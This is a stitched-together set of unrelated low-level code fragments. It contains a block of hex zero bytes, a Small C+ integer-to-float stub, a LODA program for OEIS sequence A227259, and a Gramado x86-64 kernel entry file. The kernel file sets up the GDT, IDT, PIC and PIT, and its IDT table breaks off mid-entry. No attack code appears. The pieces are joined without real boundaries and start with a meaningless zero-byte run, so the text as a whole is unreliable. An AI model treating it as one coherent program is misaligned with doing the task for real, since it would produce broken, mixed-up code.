00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; Generic Small C+ Floating point library
; Converts integer in hl to fp number
PUBLIC ufloat
EXTERN float1
;
; convert the integer in hl to (unsigned routine)
; a floating point number in FA
;
.ufloat
xor a ;signify no sign
jp float1
|
; A227259: Number of n X 2 0,1 arrays indicating 2 X 2 subblocks of some larger (n+1) X 3 binary array having a sum of two or less, with rows and columns of the latter in lexicographically nondecreasing order.
; Submitted by Jon Maiga
; 3,9,23,50,96,168,274,423,625,891,1233,1664,2198,2850,3636,4573,5679,6973,8475,10206,12188,14444,16998,19875,23101,26703,30709,35148,40050,45446,51368,57849,64923,72625,80991,90058,99864,110448,121850,134111,147273,161379,176473,192600,209806,228138,247644,268373,290375,313701,338403,364534,392148,421300,452046,484443,518549,554423,592125,631716,673258,716814,762448,810225,860211,912473,967079,1024098,1083600,1145656,1210338,1277719,1347873,1420875,1496801,1575728,1657734,1742898,1831300,1923021
mov $1,$0
add $1,2
mov $2,$0
sub $3,$0
mov $0,8
lpb $0
div $0,4
add $2,$1
bin $1,2
add $1,$2
mul $2,$3
lpe
mov $0,$1
div $0,3
add $0,1
|
; See:
; kernel/include/land/
%include "land/head.inc"
; segment .head_x86_64
__HEAD
[bits 64]
extern _kernel_main
extern _magic
;========================================================
; _kernel_begin:
;
; Entry point.
; This is the entry point of the 64bit kernel image.
; The boot loader jumps here in long mode using a
; 64bit gdt.
;
; #todo:
; We need to check the bit in CS when the boot loader
; makes the jump.
;
; IN:
; The boot loader delivers a magic value in edx and
; a boot block in 0x90000.
global _kernel_begin
_kernel_begin:
;
; Jump
;
; Th CS stuff.
; Do a proper 64-bit jump. Should not be needed as the ...
; jmp GDT64.Code:0x30001000 in the boot loader would have sent us ...
; out of compatibility mode and into 64-bit mode.
jmp START
nop
DB 'GRAMADO X'
align 4
%include "head/header.inc"
align 4
START:
; We do not have segmentation,
; So, let's clear the legacy segment registers.
;xor rax, rax
;mov ds, ax
;mov es, ax
;mov ss, ax
;mov fs, ax
;mov gs, ax
; #todo
; The stack ?
;
; No interrupts
;
cli
; Magic
mov dword [_magic], edx
;
; GDT
;
; Load our own 64-bit global descriptor table.
lgdt [GDT64.Pointer]
; #todo
; We need to check if we really are in long mode
; Please check the bits in CS.
;
; flush ?
;
;jmp GDT64.Code:flush64
;[bits 64]
;global _flush64
;flush64:
;
; Registers.
;
; It depends on the mode we are.
; general purpose
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
; #bugbug
; Well ds, es and ss are valid only in compatibility mode.
; Data
mov ax, GDT64.Data
mov ds, ax
mov es, ax
; Stack
mov ss, ax
mov rsp, _xxxStack
xor rax, rax
mov rbp, rax
mov rsi, rax
mov rdi, rax
;
; == IDT ================================================
;
;Uma falta, ou excessão gera uma interrupção não-mascaravel ... certo?
;então mesmo que eu deixe as interrupções do pic mascaradas elas vão acontecer?
;Sendo assim, esses vetores precisam ser
;tratados mesmo antes de tratarmos os vetores das interrupções mascaraves.
; Disable IRQs
; Out 0xFF to 0xA1 and 0x21 to disable all IRQs.
;mov al, 0xFF
;out 0xA1, al
;out 0x21, al
;See: headlib.asm
; This is so dangeours
call setup_idt ; Create a common handler, 'unhandled_int'.
call setup_faults ; Setup vectors for faults and exceptions.
call setup_vectors ; Some new vectors.
; #danger:
lidt [_IDT_register]
;
; == LDT ================================================
;
; Clear LDT
xor rax, rax
lldt ax
;
; == TR (tss) ======================================
;
;
; == PIC ========================================
;
; Early PIC initialization.
picEarlyInitialization:
;; ??
;; PIC MODE
;; Selecting the 'Processor Interrup Mode'.
;; All the APIC components are ignored here, and
;; the system will operate in the single-thread mode
;; using LINT0.
cli
xor rax, rax
mov al, 00010001b ; begin PIC1 initialization.
out 0x20, al
IODELAY
mov al, 00010001b ; begin PIC2 initialization.
out 0xA0, al
IODELAY
mov al, 0x20 ; IRQ 0-7: interrupts 20h-27h.
out 0x21, al
IODELAY
mov al, 0x28 ; IRQ 8-15: interrupts 28h-2Fh.
out 0xA1, al
IODELAY
mov al, 4
out 0x21, al
IODELAY
mov al, 2
out 0xA1, al
IODELAY
;mov al, 00010001b ; 11 sfnm 80x86 support.
mov al, 00000001b ; 01 80x86 support.
out 0x21, al
IODELAY
out 0xA1, al
IODELAY
; Mask all interrupts.
cli
mov al, 255
out 0xA1, al
IODELAY
out 0x21, al
IODELAY
;
; == PIT ========================================
;
; Early PIT initialization.
pitEarlyInitialization:
;; Setup system timers.
;; ??
;; Some frequencies to remember.
;; PIT 8253 e 8254 = (1234DD) 1193181.6666 / 100 = 11930. ; 1.19MHz.
;; APIC timer = 3,579,545 / 100 = 35796 3.5 MHz.
;; 11931 ; (1193181.6666 / 100 = 11930) timer frequency 100 HZ.
xor rax, rax
mov al, byte 0x36
mov dx, word 0x43
out dx, al
IODELAY
mov eax, dword 11931
mov dx, word 0x40
out dx, al
IODELAY
mov al, ah
out dx, al
IODELAY
;
; == RTC ========================================
;
;;
;; int
;;
; Unmask all interrupts.
mov al, 0
out 0xA1, al
IODELAY
out 0x21, al
IODELAY
; No interrupts.
cli
;
; == Set up registers ==================================
;
; See:
; https://wiki.osdev.org/CPU_Registers_x86-64
; Debug registers:
; DR0 ~ DR7
; Debug registers.
; Disable break points.
; Debug registers:
; DR0 ~ DR7
; Debug registers.
; Disable break points.
; #illegal ?
;xor eax, eax
;mov dr2, eax
;mov dr7, eax
;; ...
call _kernel_main
;push qword 0x200
;popfq
Loop:
sti ;cli
hlt
jmp Loop
;
; =======================================================
; _x64_64_initialize_machine
; CAlled by main() to make the early initialization.
;
global _x84_64_initialize_machine
_x84_64_initialize_machine:
ret
;Loop:
; cli
; hlt
; jmp Loop
align 8
;;
;; == GDT ====================================================
;;
;; See:
;; https://wiki.osdev.org/Setting_Up_Long_Mode
GDT64: ; Global Descriptor Table (64-bit).
.Null: equ $ - GDT64 ; The null descriptor.
dw 0xFFFF ; Limit (low).
dw 0 ; Base (low).
db 0 ; Base (middle)
db 0 ; Access.
db 1 ; Granularity.
db 0 ; Base (high).
.Code: equ $ - GDT64 ; The code descriptor.
dw 0 ; Limit (low).
dw 0 ; Base (low).
db 0 ; Base (middle)
db 10011010b ; Access (exec/read).
db 10101111b ; Granularity, 64 bits flag, limit19:16.
db 0 ; Base (high).
.Data: equ $ - GDT64 ; The data descriptor.
dw 0 ; Limit (low).
dw 0 ; Base (low).
db 0 ; Base (middle)
db 10010010b ; Access (read/write).
db 00000000b ; Granularity.
db 0 ; Base (high).
.Pointer: ; The GDT-pointer.
dw $ - GDT64 - 1 ; Limit.
dq GDT64 ; Base.
align 8
;;
;; == IDT ====================================================
;;
;
; Usadas nas entradas da idt.
;
sys_interrupt equ 0x8E
sys_code equ 8 ;Code selector.
;==================================================;
; Idt. ;
; Interrupt vectors for intel x86_64 ;
;==================================================;
; IDT in IA-32e Mode (64-bit IDT)
; See:
; https://wiki.osdev.org/Interrupt_Descriptor_Table
; Nesse momento criamos apenas o esqueleto da tabela,
; Uma rotina vai ser chamada para preencher o que falta.
global _idt
_idt:
;0 interrupt 0h, div error.
dw 0 ; Offset low bits (0..15)
dw sys_code ; Selector (Code segment selector)
db 0 ; Zero
db sys_interrupt ; Type and Attributes (same as before)
dw 0 ; Offset middle bits (16..31)
dd 0 ; Offset high bits (32..63)
dd 0 ; Zero
;1 interrupt 1h, debug exception.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;2 interrupt 2h, non maskable interrupt.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;3 interrupt 3h, int3 trap.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;4 interrupt 4h, into trap.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;5 interrupt 5h, bound trap.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;6 interrupt 6h, invalid instruction.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;7 interrupt 7h, no coprocessor.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;8 interrupt 8h, double fault.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;9 interrupt 9h, coprocessor segment overrun 1.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;10 interrupt Ah, invalid tss.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;11 interrupt Bh, segment not present.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;12 interrupt Ch, stack fault.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;13 interrupt Dh, general protection fault.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;14 interrupt Eh, page fault.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;15 interrupt Fh, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;16 interrupt 10h, coprocessor error.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;17 interrupt 11h, alignment check.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;18 interrupt 12h, machine check.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;;
;; ## Intel reserveds ##
;;
;19 interrupt 13h, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;20 interrupt 14h, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;21 interrupt 15h, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;22 interrupt 16h, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;23 interrupt 17h, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;24 interrupt 18h, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;25 interrupt 19h, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;26 interrupt 1Ah, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;27 interrupt 1Bh, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;28 interrupt 1Ch, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;29 interrupt 1Dh, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;30 interrupt 1Eh, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;31 interrupt 1Fh, reserved.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;;
;; ## IRQs ##
;;
;32 interrupt 20h, IRQ0, TIMER.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;33 interrupt 21h, IRQ1, TECLADO.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;34 interrupt 22h, IRQ2.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;35 interrupt 23h, IRQ3.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;36 interrupt 24h, IRQ4.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;37 interrupt 25h, IRQ5.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;38 interrupt 26h, IRQ6.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;39 interrupt 27h, IRQ7.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;40 interrupt 28h, IRQ8.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;41 interrupt 29h, IRQ9.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;42 interrupt 2Ah, IRQ10.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;43 interrupt 2Bh, IRQ11.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;44 interrupt 2Ch, IRQ12.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;45 interrupt 2Dh, IRQ13.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;46 interrupt 2Eh, IRQ 14.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;47 interrupt 2Fh, IRQ15.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;48 interrupt 30h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;49 interrupt 31h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;50 interrupt 32h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;51 interrupt 33h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;52 interrupt 34h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;53 interrupt 35h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;54 interrupt 36h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;55 interrupt 37h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;56 interrupt 38h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;57 interrupt 39h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;58 interrupt 3Ah.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;59 interrupt 3Bh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;60 interrupt 3Ch.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;61 interrupt 3Dh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;62 interrupt 3Eh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;63 interrupt 3Fh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;64 interrupt 40h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;65 interrupt 41h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;66 interrupt 42h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;67 interrupt 43h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;68 interrupt 44h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;69 interrupt 45h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;70 interrupt 46h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;71 interrupt 47h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;72 interrupt 48h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;73 interrupt 49h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;74 interrupt 4Ah.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;75 interrupt 4Bh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;76 interrupt 4Ch.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;77 interrupt 4Dh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;78 interrupt 4Eh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;79 interrupt 4Fh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;80 interrupt 50h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;81 interrupt 51h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;82 interrupt 52h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;83 interrupt 53h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;84 interrupt 54h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;85 interrupt 55h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;86 interrupt 56h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;87 interrupt 57h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;88 interrupt 58h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;89 interrupt 59h
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;90 interrupt 5Ah.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;91 interrupt 5Bh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;92 interrupt 5Ch.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;93 interrupt 5Dh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;94 interrupt 5Eh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;95 interrupt 5Fh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;96 interrupt 60h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;97 interrupt 61h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;98 interrupt 62h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;99 interrupt 63h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;100 interrupt 64h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;101 interrupt 65h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;102 interrupt 66h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;103 interrupt 67h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;104 interrupt 68h
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;105 interrupt 69h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;106 interrupt 6Ah.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;107 interrupt 6Bh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;108 interrupt 6Ch.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;109 interrupt 6Dh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;110 interrupt 6Eh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;111 interrupt 6Fh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;112 interrupt 70h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;113 interrupt 71h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;114 interrupt 72h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;115 interrupt 73h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;116 interrupt 74h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;117 interrupt 75h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;118 interrupt 76h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;119 interrupt 77h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;120 interrupt 78h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;121 interrupt 79h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;122 interrupt 7Ah.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;123 interrupt 7Bh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;124 interrupt 7Ch.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;125 interrupt 7Dh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;126 interrupt 7Eh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;127 interrupt 7Fh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;;
;; ## system call ##
;;
;;#importante
;;Essa agora vai ser a system call.
;;Ela � UNIX-like e usada em muitos sistemas.
;128 interrupt 80h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;129 interrupt 81h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;130 interrupt 82h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;131 interrupt 83h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;132 interrupt 84h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;133 interrupt 85h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;134 interrupt 86h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;135 interrupt 87h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;136 interrupt 88h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;137 interrupt 89h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;138 interrupt 8Ah.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;139 interrupt 8Bh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;140 interrupt 8Ch.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;141 interrupt 8Dh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;142 interrupt 8Eh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;143 interrupt 8Fh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;144 interrupt 90h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;145 interrupt 91h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;146 interrupt 92h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;147 interrupt 93h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;148 interrupt 94h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;149 interrupt 95h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;150 interrupt 96h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;151 interrupt 97h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;152 interrupt 98h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;153 interrupt 99h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;154 interrupt 9Ah.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;155 interrupt 9Bh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;156 interrupt 9Ch.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;157 interrupt 9Dh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;158 interrupt 9Eh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;159 interrupt 9Fh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;160 interrupt A0h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;161 interrupt A1h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;162 interrupt A2h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;163 interrupt A3h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;164 interrupt A4h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;165 interrupt A5h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;166 interrupt A6h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;167 interrupt A7h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;168 interrupt A8h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;169 interrupt A9h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;170 interrupt AAh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;171 interrupt ABh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;172 interrupt ACh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;173 interrupt ADh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;174 interrupt AEh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;175 interrupt AFh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;176 interrupt B0h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;177 interrupt B1h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;178 interrupt B2h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;179 interrupt B3h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;180 interrupt B4h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;181 interrupt B5h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;182 interrupt B6h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;183 interrupt B7h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;184 interrupt B8h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;185 interrupt B9h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;186 interrupt BAh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;187 interrupt BBh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;188 interrupt BCh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;189 interrupt BDh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;190 interrupt BEh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;191 interrupt BFh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
